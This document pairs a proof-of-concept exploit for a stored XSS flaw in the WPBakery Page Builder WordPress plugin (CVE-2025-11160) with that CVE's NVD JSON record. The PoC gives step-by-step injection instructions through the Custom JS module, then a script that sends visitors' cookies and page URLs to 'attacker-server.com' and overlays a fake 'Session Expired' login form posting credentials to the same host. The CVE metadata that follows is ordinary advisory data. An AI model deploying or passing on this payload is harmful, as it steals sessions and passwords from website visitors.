CVE-2025-11160

<!-- PoC for CVE-2025-11160: WPBakery Page Builder Stored XSS via Custom JS Module Steps to reproduce: 1. Login as contributor or higher role in WordPress 2. Create a new post/page with WPBakery editor 3. Open the Custom JS module in WPBakery backend editor 4. Inject the following malicious JavaScript payload 5. Publish/save the post 6. When any user visits the page, the XSS fires automatically --> <!-- Malicious payload injected via Custom JS module --> <script> // Steal cookies and session information var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href); // Create a fake admin overlay for credential harvesting var overlay = document.createElement('div'); overlay.style.position = 'fixed'; overlay.style.top = '0'; overlay.style.left = '0'; overlay.style.width = '100%'; overlay.style.height = '100%'; overlay.style.backgroundColor = 'rgba(0,0,0,0.8)'; overlay.style.zIndex = '99999'; overlay.innerHTML = '<div style="background:white;padding:30px;margin:100px auto;width:400px;"><h2>Session Expired</h2><form action="https://attacker-server.com/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form></div>'; document.body.appendChild(overlay); </script>

{"cve": {"id": "CVE-2025-11160", "sourceIdentifier": "[email protected]", "published": "2025-10-15T07:15:30.680", "lastModified": "2025-11-26T17:34:06.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom JS module in all versions up to, and including, 8.6.1. This is due to insufficient input sanitization and output escaping of user-supplied JavaScript code in the Custom JS module. This makes it possible for authenticated attackers with contributor-level access or higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via the WPBakery Page Builder Custom JS module granted they have access to the WPBakery editor for post types."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpbakery:page_builder:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "8.7", "matchCriteriaId": "EDDF2342-1A29-40FB-845E-15F586CA1504"}]}]}], "references": [{"url": "https://kb.wpbakery.com/docs/preface/release-notes/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c42cc4e-34e7-4f14-b850-7ba5dd2ae099?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}